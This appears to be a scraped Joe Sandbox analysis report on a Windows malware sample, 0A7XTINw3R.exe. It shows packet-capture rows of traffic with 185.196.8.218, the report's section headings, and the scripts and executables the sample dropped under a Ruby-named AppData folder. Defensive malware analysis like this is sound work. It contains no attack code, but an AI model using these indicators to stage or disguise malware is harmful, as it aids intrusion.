Dec 27, 2024 09:09:11.444972038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.444983959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445060015 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445069075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445081949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445095062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445106983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445118904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445126057 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445132017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445144892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445200920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445200920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445610046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445622921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445636034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445647955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445652962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445660114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445672989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445719004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445719004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.445977926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.445997000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446007967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446018934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446032047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446043968 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446049929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446049929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446057081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446069956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446101904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446101904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446125984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446140051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446150064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446163893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446168900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446176052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446213961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446225882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.446225882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446225882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.446861982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447061062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447074890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447088003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447099924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447110891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447110891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447123051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447134018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447146893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447163105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447174072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447174072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447175980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447187901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447201014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447212934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447225094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447236061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447249889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447293043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447293043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.447983980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.447997093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448016882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448054075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448065042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448076010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448076010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448076010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448088884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448101997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448115110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448127031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.448143959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448143959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.448203087 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.449095011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0A7XTINw3R.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\process.log

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\temp_ruby.zip

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\d42706bf42e64bbdfe3696dd11d9bad4.vbs

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\e775357b2b21508be040c5b0f0c4c8e8.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23h1hypu.fwk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4erywn2n.f4k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ljpd1ig.lkb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjvxs23r.2qg.ps1

Windows Analysis Report
0A7XTINw3R.exe